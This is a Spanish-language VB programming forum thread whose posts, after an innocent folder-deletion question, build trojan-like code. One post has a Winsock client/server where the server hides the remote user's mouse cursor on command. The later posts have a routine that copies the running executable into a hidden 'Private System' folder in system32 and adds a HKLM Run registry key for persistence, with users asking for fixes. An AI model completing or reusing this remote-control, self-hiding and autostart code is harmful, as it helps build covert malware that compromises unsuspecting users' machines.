Mensajes

wenas alguien me podria ayudar a traducir el codigo de vb.net a c++?, he buscado en todas partes pero no hay nada.

solo quiero traducir esta parte del codigo no se si habrá una cosa tan simple para c++
se supone que tiene que borrar todas las carpetas y archivos que haya dentro del mismo. alguna ayuda?
acias.

Código [Seleccionar] Expandir

#imports system.IO

My.Computer.FileSystem.DeleteDirectory("Carpeta", FileIO.DeleteDirectoryOption.DeleteAllContents)


EDITO:
Pon el formulario maximizado atope transparente haber si te deja,y con un timer le das foco (aunque este invisible)
Supongo que te irá así
un saludo

no habia caido en eso  acias

saludos

Pues a mi si me lo oculta (aunque solo en la ventana del vb)...´
No sé a que será debido...

Saludos

Si eso es lo k me pasa a mi solo en la ventana del vb y nada mas xD

aver si lo consigo 

saludos

Segun MSDN

This function sets an internal display counter that determines whether the cursor should be displayed. The cursor is displayed only if the display count is greater than or equal to 0. If a mouse is installed, the initial display count is 0. If no mouse is installed, the display count is –1.

si le pones FALSE lo seguira mostrando

ponle -1 y prueba

gracias por responder  pero ya lo probé pero no va, y en el google no encuentro nada 

saludos

wenas, a ver si alguien me ayuda en esto, que no consigo ocultar el raton del todo o mejor dixo nada de nada con el winsock

tengo este codigo:

Código [Seleccionar] Expandir



'este en el cliente

Private sub cmdHideCursor()
On Error Resume Next
    ws.SendData "CHide"
end sub

'y este en el server

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim dat As String
    ws.GetData dat, vbString
If dat = "CHide" Then
    Result = ShowCursor(False)
    ws.SendData "Cursor Hidden"
else
end if
end sub

acias

Saludos

Ya está
Muxas Gracias

Saludos 

Como es el codigo de copiarse a si mismo??

ESQUE NO ME SALE.... Si muevo el archivo a otra carpeta ya no se copia... AYUDA PLZ

  Como es el Codigo Para borrar una clave de registro?

Asias 

Sabeis como podria hacer k el programa al iniciarse se copie a si mismo en una carpeta PERO K LUEGO AL FINALIZAR EL PROGRAMA
SE BORRE LA CARPETA
y tambien si no es molestia como Hacer K en vez de Filecopy me pusierais otra cosa (Para k me deje ejecutar el archivo en cualkier  carpeta por k si no no me deja AYUDA PLZ).

lo k tengo es esto:

Files.CreateFolder "C:\Windows\system32\Private System"
FileCopy "C:\Cosa\Cosa rara\Lol.exe", "C:\Windows\system32\Private System\Lol.exe"
Call SetAttr("C:\Windows\system32\Private System" & "\Lol.EXE", vbHidden)

pero No quiero esto Me ayudais? 

Haber tengo esto y me da un error diciendo File Not Found y Se me pone en amarillo toda esta fila: FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & App.EXEName & ".exe"

Ayuda!!! k Estoy k siempre me da algo Raro!!


Private Sub Form_Load()
Set sh = CreateObject("WScript.Shell")
Set ficheros = CreateObject("Scripting.FileSystemObject")
ficheros.CreateFolder "C:\Windows\system32\Private System"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\Private System" & App.EXEName & ".exe"
Call SetAttr("C:\Windows\system32\Private System" & "\HK.EXE", vbHidden)
sh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Private System", "C:\Windows\system32\Private System\HK.exe"
End
End Sub


Hmmmm.... hay que poner algun modulo??? XDDD